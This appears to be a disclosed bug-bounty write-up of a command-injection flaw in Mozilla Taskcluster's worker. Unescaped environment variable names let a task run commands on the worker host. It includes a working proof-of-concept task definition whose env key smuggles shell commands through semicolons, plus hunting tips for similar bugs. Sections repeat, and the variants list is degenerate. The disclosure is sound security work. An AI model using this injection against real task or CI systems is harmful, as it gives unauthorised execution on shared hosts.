RCE on worker host due to unsanitized "env" variable name in task definition on community-tc.services.mozilla.com
Taskcluster's worker code escaped most user-supplied parameters before passing them to the podman command, but did not escape environment variable names. Any valid user of the community instance could create a task whose environment variable name broke out of the argument and ran commands on the worker host.
- Triaged in 2 days
- Fixed in 2 months
- Paid in 14 days
- Disclosed after 14 months
Summary:
This issue affects Taskcluster's worker code and not just this instance but I did not see an easy way to report the vulnerability as well since I was unsure if this would qualify for the Mozilla Client bug bounty. The task cluster definition attempts to escape parameters that are passed to the podman command prior to running the container to execute the task, the custom shell.escape function (https://github.com/taskcluster/shell/blob/master/shell.go) is quite robust and is used on most user supplied parameters including docker image name, commands to run , and artifact path which prevents trivial command execution however it is not applied on the environment variable name itself allowing for command execution on the worker host. Additionally, the community-tc.services.mozilla.com instance allows for any valid user to utilize an example worker group which allows for RCE on the worker host.
Steps To Reproduce:
- Create a github account if you do not have one and then login to https://community-tc.services.mozilla.com/
- Visit https://community-tc.services.mozilla.com/tasks/create to create a new task. Copy and paste the following definition and then click the green save icon to run your task:
retries: 0
created: '2023-10-23T08:10:11.044Z'
deadline: '2023-10-23T11:10:11.044Z'
expires: '2024-10-23T11:10:11.044Z'
taskQueueId: proj-misc/tutorial
projectId: none
tags: {}
scopes: []
payload:
env:
# Commands to run in here
test2 --help ; whoami ; ls -lah ;: '--help'
image: ubuntu:latest
command:
- /bin/bash
- '-c'
- 'echo hello'
maxRunTime: 5000
extra: {}
metadata:
name: example-task
description: An **example** task
owner: [email protected]
source: https://community-tc.services.mozilla.com/tasks/create
schedulerId: taskcluster-ui

Wait for your task to run (it should fail) and then view the live logs to check for the output of the commands.

Impact
Summary:
Command execution outside of the intended container for the worker.
Context
Taskcluster is Mozilla's task execution platform, and community-tc.services.mozilla.com is a community instance of it. Users define tasks in YAML: a task names a Docker image, a command to run inside the container, and a set of environment variables. The worker takes that definition, builds a podman command line, and runs the container.
The researcher notes the issue affects Taskcluster's worker code, not just this instance. The community instance is only the place where it becomes reachable, because any valid user can use an example worker group there.
Setup
No special tooling is needed. The preconditions are:
- A GitHub account, used to log in to the community Taskcluster instance.
- Access to the task creation page at
https://community-tc.services.mozilla.com/tasks/create. - A worker group that the account is allowed to use. On this instance, the researcher notes, any valid user can use an example worker group, which is what makes the bug exploitable by an ordinary account.
Finding it
The researcher looked at how the task definition is turned into the podman invocation. Most user-supplied parameters are passed through a custom shell.escape function from the taskcluster/shell Go library, which the researcher describes as quite robust. That escaping covers the Docker image name, the commands to run, and the artifact path, and it prevents trivial command execution.
The environment variable name is the exception: it is not passed through the escaping function. The environment variable name is not passed through the escaping function, which allows command execution on the worker host. Combined with the open example worker group on the community instance, that gives command execution on the worker host rather than inside the task container.
Exploitation
Step 1: log in
Create a GitHub account if you do not have one, then log in to https://community-tc.services.mozilla.com/.
Step 2: submit a task definition
Visit https://community-tc.services.mozilla.com/tasks/create, paste the following definition, and click the green save icon to run the task:
retries: 0
created: '2023-10-23T08:10:11.044Z'
deadline: '2023-10-23T11:10:11.044Z'
expires: '2024-10-23T11:10:11.044Z'
taskQueueId: proj-misc/tutorial
projectId: none
tags: {}
scopes: []
payload:
env:
# Commands to run in here
test2 --help ; whoami ; ls -lah ;: '--help'
image: ubuntu:latest
command:
- /bin/bash
- '-c'
- 'echo hello'
maxRunTime: 5000
extra: {}
metadata:
name: example-task
description: An **example** task
owner: [redacted]
source: https://community-tc.services.mozilla.com/tasks/create
schedulerId: taskcluster-ui
The important part is the env map. Its single key is not a plain variable name but a string containing shell metacharacters:
test2 --help ; whoami ; ls -lah ;
Because the key is not escaped, the commands after the semicolons run on the worker host. The rest of the definition is ordinary: an ubuntu:latest image, a /bin/bash -c 'echo hello' command, and the proj-misc/tutorial queue.

Step 3: read the logs
Wait for the task to run. It should fail, and the live logs show the output of the injected commands.

Root cause
The worker builds a shell command line for podman from the task definition. Every user-controlled value that the developer thought about, the image name, the command, the artifact path, is passed through shell.escape. The environment variable name is interpolated without that escaping.
Escaping the value of an environment variable is not enough if the name is placed into the same command line unquoted: the name is the injection point. The existing defence therefore did not cover the whole attack surface of the task definition.
Impact
The result is command execution outside the intended container, on the worker host. On community-tc.services.mozilla.com this is reachable by any valid user, because the instance allows any valid user to use an example worker group. The researcher also notes that the underlying issue affects Taskcluster's worker code generally, not just this instance, and that they were unsure whether it qualified for the Mozilla Client bug bounty and did not see an easy way to report the vulnerability more broadly.
Fix
The report does not describe a fix or a change made in response.
Variants to test
- Other fields of a task definition that reach the
podmancommand line but are not covered by the escaping function. A positive result is a task whose logs contain output from a command you injected rather than from the task's own command. - A positive result is the same: injected output in the live logs.
- A positive result is execution on a worker host outside the container.
Hunting notes
This kind of bug hides where user-controlled data is assembled into a command line for an external tool. The signal during recon is a platform that lets you define containers, jobs or tasks with free-form environment variables, and documentation or source showing a hand-rolled escaping helper applied field by field. If a helper exists, check which fields it is applied to and which are missed; names and identifiers are the usual gaps because they look harmless.
The impact argument here rests on two things: the injected commands run on the worker host rather than inside the container, and the community instance lets any valid user reach an example worker group, so no privileged role is needed. Demonstrating both, with the task definition and the log output, is what makes the report concrete.
What happened, in plain words
Mozilla runs a website called Taskcluster, and community-tc.services.mozilla.com is a community version of it. Taskcluster is a service that runs jobs for people. You describe a job in a small text file, upload it, and a machine somewhere runs it for you. The machine that runs the job is called a worker.
Each job runs inside a container. A container is like a sealed box on the worker: the job gets its own little computer inside the box, with its own files, and it is not supposed to touch the rest of the machine. The tool that builds and starts these boxes is called podman.
To start a box, the worker has to type out a command for podman, a bit like typing a command in a terminal. The job description supplies some of the words in that command: the name of the image (the starting files for the box), the command to run inside it, where to put output files, and the names and values of environment variables. Environment variables are named settings that a program can read, for example a name like HOME with a value like /root.
Because those words come from the user, the worker cleans them up first, so that a user cannot sneak extra commands into the line. It uses a helper function called shell.escape from a library called taskcluster/shell, written in the Go programming language. The researcher calls this helper quite robust, and it is applied to most user-supplied words: the image name, the commands to run, and the artifact path (where output files go).
The one thing it is not applied to is the name of an environment variable. That name is dropped into the podman command line as-is. If the name contains characters that a shell treats as instructions, such as a semicolon, the shell stops treating it as a name and starts running whatever follows as a command. Those commands run on the worker itself, outside the sealed box.
The researcher also points out that the flaw is in Taskcluster's worker code in general, not only in this one website. The community site is just the place where it is easy to reach, because there any valid user is allowed to use an example worker group, meaning an ordinary account is enough to get a job onto a worker.
Context
Taskcluster is Mozilla's platform for running tasks. community-tc.services.mozilla.com is a community instance of it, meaning a copy of the platform open to the community rather than only to Mozilla staff.
Users describe tasks in YAML. YAML is a plain-text format for structured data: you write name: value lines, and indentation shows what belongs to what. A task names a Docker image (the starting filesystem for the container), a command to run inside the container, and a set of environment variables. The worker takes that description, builds a podman command line, and runs the container.
The researcher's summary is explicit that the flaw lives in Taskcluster's worker code rather than in this one deployment. The community instance is only the place where it becomes reachable, because any valid user can use an example worker group there.
Setup
No special tooling is needed. The preconditions are:
- A GitHub account, used to log in to the community Taskcluster instance. GitHub is a website where people host code; here it is only used as a way to prove who you are, a bit like using a Google account to sign in somewhere else.
- Access to the task creation page at
https://community-tc.services.mozilla.com/tasks/create. This page is a form where you paste a task description and submit it. - A worker group that the account is allowed to use. A worker group is a pool of machines that run tasks. On this instance, the researcher notes, any valid user can use an example worker group, which is what makes the bug exploitable by an ordinary account.
Finding it
The researcher looked at how the task definition is turned into the podman invocation. An invocation is simply the command line that gets run. Most user-supplied parameters are passed through a custom shell.escape function from the taskcluster/shell Go library, which the researcher describes as quite robust. Escaping means putting quotes or backslashes around special characters so the shell treats them as ordinary text instead of instructions. That escaping covers the Docker image name, the commands to run, and the artifact path, and it prevents trivial command execution.
The environment variable name is the exception: it is not passed through the escaping function. Since the name ends up in the command line handed to podman, a crafted variable name can break out of its argument and inject shell syntax. Combined with the open example worker group on the community instance, that gives command execution on the worker host rather than inside the task container.
Exploitation
Step 1: log in
Create a GitHub account if you do not have one, then log in to https://community-tc.services.mozilla.com/.
Step 2: submit a task definition
Visit https://community-tc.services.mozilla.com/tasks/create, paste the following definition, and click the green save icon to run the task:
retries: 0
created: '2023-10-23T08:10:11.044Z'
deadline: '2023-10-23T11:10:11.044Z'
expires: '2024-10-23T11:10:11.044Z'
taskQueueId: proj-misc/tutorial
projectId: none
tags: {}
scopes: []
payload:
env:
# Commands to run in here
test2 --help ; whoami ; ls -lah ;: '--help'
image: ubuntu:latest
command:
- /bin/bash
- '-c'
- 'echo hello'
maxRunTime: 5000
extra: {}
metadata:
name: example-task
description: An **example** task
owner: [redacted]
source: https://community-tc.services.mozilla.com/tasks/create
schedulerId: taskcluster-ui
Line by line, in plain words:
retries: 0says the task should not be retried if it fails.created,deadlineandexpiresare timestamps: when the task was created, the latest time it may start, and when it should be forgotten.taskQueueId: proj-misc/tutorialpicks the queue the task goes into. A queue is a waiting line of tasks that a particular group of workers picks up.projectId: noneandtags: {}are bookkeeping fields; the empty braces mean an empty set of tags.scopes: []means the task asks for no extra permissions. The empty brackets mean an empty list.payload:starts the part that describes what to actually run.env:starts the list of environment variables. Everything indented under it is one variable: the part before the colon is the name, the part after is the value.- The line starting with
#is a comment, ignored by the parser. It is there to point the reader at the interesting line. test2 --help ; whoami ; ls -lah ;: '--help'is the single environment variable. Its name is everything before the final colon, and its value is'--help'.image: ubuntu:latestsays to start from the Ubuntu Linux image, latest version.command:lists what to run inside the container:/bin/bash -c 'echo hello', meaning start a shell and have it printhello.maxRunTime: 5000caps how long the task may run.extra: {}is an empty extra section.metadata:holds human details: a name, a description, an owner email address and a source link.schedulerId: taskcluster-uisays the task was scheduled from the web interface.
The important part is the env map. A map is a set of name-and-value pairs. Its single key is not a plain variable name but a string containing shell metacharacters:
test2 --help ; whoami ; ls -lah ;
In a shell, a semicolon ends one command and starts the next. So this string reads as three things: a command test2 --help, then whoami (which prints the name of the user the command runs as), then ls -lah (which lists files in the current directory with details).
Because the key is not escaped, the commands after the semicolons run on the worker host. The rest of the definition is ordinary: an ubuntu:latest image, a /bin/bash -c 'echo hello' command, and the proj-misc/tutorial queue.

Step 3: read the logs
Wait for the task to run. It should fail, and the live logs show the output of the injected commands. Logs are the running record of what a program printed; the live view streams them while the task runs, so you can watch the output appear.

Root cause
The worker builds a shell command line for podman from the task definition. Every user-controlled value that the developer thought about, the image name, the command, the artifact path, is passed through shell.escape. The environment variable name is interpolated without that escaping. Interpolated means inserted directly into a larger string.
Escaping the value of an environment variable is not enough if the name is placed into the same command line unquoted: the name is the injection point. The existing defence therefore did not cover the whole attack surface of the task definition. Attack surface means all the places where a user can put data that the system later uses.
Impact
The result is command execution outside the intended container, on the worker host. On community-tc.services.mozilla.com this is reachable by any valid user, because the instance allows any valid user to use an example worker group. The researcher also notes that the underlying issue affects Taskcluster's worker code generally, not just this instance, and that they were unsure whether it qualified for the Mozilla Client bug bounty and did not see an easy way to report the vulnerability more broadly.
Fix
The report does not describe a fix or a change made in response.
Variants to test
- Other fields of a task definition that reach the
podmancommand line but are not covered by the escaping function. A positive result is a task whose logs contain output from a command you injected rather than from the task's own command. - A positive result is the same: injected output in the live logs.
- A positive result is execution on a worker host outside the container.
Hunting notes
This kind of bug hides where user-controlled data is assembled into a command line for an external tool. The signal during recon is a platform that lets you define containers, jobs or tasks with free-form environment variables, and documentation or source showing a hand-rolled escaping helper applied field by field. Recon means the early look around a target to see what it offers. If a helper exists, check which fields it is applied to and which are missed; names and identifiers are the usual gaps because they look harmless.
The impact argument here rests on two things: the injected commands run on the worker host rather than inside the container, and the community instance lets any valid user reach an example worker group, so no privileged role is needed. Demonstrating both, with the task definition and the log output, is what makes the report concrete.
Glossary
- Taskcluster: Mozilla's platform for running tasks on workers.
- Worker: the machine that actually runs a task.
- Worker group: a pool of workers that a task queue can draw from.
- Container: a sealed environment on a machine, with its own files and processes, kept apart from the rest of the system.
- Docker image: the starting filesystem a container is built from.
- podman: a tool that builds and runs containers.
- YAML: a plain-text format for structured data, using indentation and
name: valuelines. - Environment variable: a named setting a program can read, made of a name and a value.
- Shell: the program that reads a command line and runs the commands in it.
- Command line: the text a shell reads and executes.
- Escaping: adding quotes or backslashes so special characters are treated as ordinary text.
shell.escape: the helper function in thetaskcluster/shellGo library that performs that escaping.- Go: a programming language; the library in question is written in it.
- Interpolation: inserting a value directly into a larger string.
- Injection: making user-supplied data act as instructions to a program.
- Command execution: running a command on a machine.
- RCE (remote code execution): running your own commands on someone else's machine from a distance.
- Metacharacter: a character a shell treats as an instruction, such as
;. - Artifact path: where a task's output files are stored.
- Task queue: a waiting line of tasks for a group of workers.
- Scopes: the permissions a task is granted.
- Logs: the running record of what a program printed.
- Attack surface: all the places where a user can supply data the system later uses.
- Recon: the early look around a target to see what it offers.
- Bug bounty: a programme that pays people for reporting security flaws.
- CVSS: a scoring system for the severity of a vulnerability.